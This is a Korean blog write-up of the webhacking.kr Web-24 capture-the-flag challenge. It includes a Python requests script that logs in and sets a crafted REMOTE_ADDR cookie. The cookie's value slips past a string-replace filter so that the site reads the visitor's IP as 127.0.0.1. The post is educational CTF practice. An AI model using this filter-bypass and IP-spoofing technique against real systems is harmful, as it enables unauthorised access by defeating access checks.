반응형
https://webhacking.kr/chall.php
Webhacking.kr 모의해킹 CTF 사이트 풀이 Web-24
초기화면 :
Client IP에는 내 IP
Agent에는 내 브라우저 정보가 나온다
그리고 Wrong IP 라고 출력된것을 확인할 수 있다.
코드를 봤을때, 내 ip를 추출하고, 만약 ip가 local host (127.0.0.1)이면 solve(24) 함수가 호출 된다.
특정 이름이 있는 쿠키가 아닌 $REMOTEADDR 이라는 클라이언트 전역변수 이기 때문에
Edit This Cookie로 수정할 수 없고 웹을 요청 할때 만 내 ip를 설정할 수 있다.
파이썬 Requests 모듈을 통해 페이지에 접근할때 쿠키를 바꾸어 해결해야한다고한다.!
전체적인 흐름은
1. 로그인하는 모듈 만들기 (request)
2. 세션에 있는 쿠키 변경하기
def payload_test(payload):
payload = payload.replace("..","")
payload = payload.replace("12","")
payload = payload.replace("7.","")
payload = payload.replace("0.","")
print("Result :"+payload)
return payload
payload = "112277.12.00.12.00.12.1"
if "127.0.0.1" == payload_test(payload):
session = login("ID","PASSWORD")
cookie = {"REMOTE_ADDR":payload}
session.cookies.update(cookie)
URL = "https://webhacking.kr/challenge/bonus-4"
result = session.get(URL)
print(result.text)
else:
pass
문제를 확인해보면 ..→. 으로 12→공백, 7.→공백 0.→공백 으로 치환되므로
payload값을 뒤에서부터 조정해가며 127.0.0.1로 바꾼뒤 REMOTE_ADDR을 설정하였다.
*login 함수는 따로 구현되었음*
login
더보기
import requests
def login(ID,PW):
URL = "https://webhacking.kr/login.php?login"
s = requests.session()
data = {"id":ID,"pw":PW}
r = s.post(URL,json=data)
if True == r.json()['stat']:
return s
else:
print("Login Error")
exit(0)
반응형
'정보보안 > 정보보안 실습' 카테고리의 다른 글
[정보보안] SSRF Stored XSS 실습 (0) | 2023.06.26 |
---|---|
[정보보안] Login SQL Injection 실습 (0) | 2023.06.26 |
[정보보안] Webhacking web-15 (0) | 2023.06.19 |
[정보보안] Webhacking web-01 (0) | 2023.06.19 |
[정보보안] TCP Scan 실습 / python (0) | 2023.06.10 |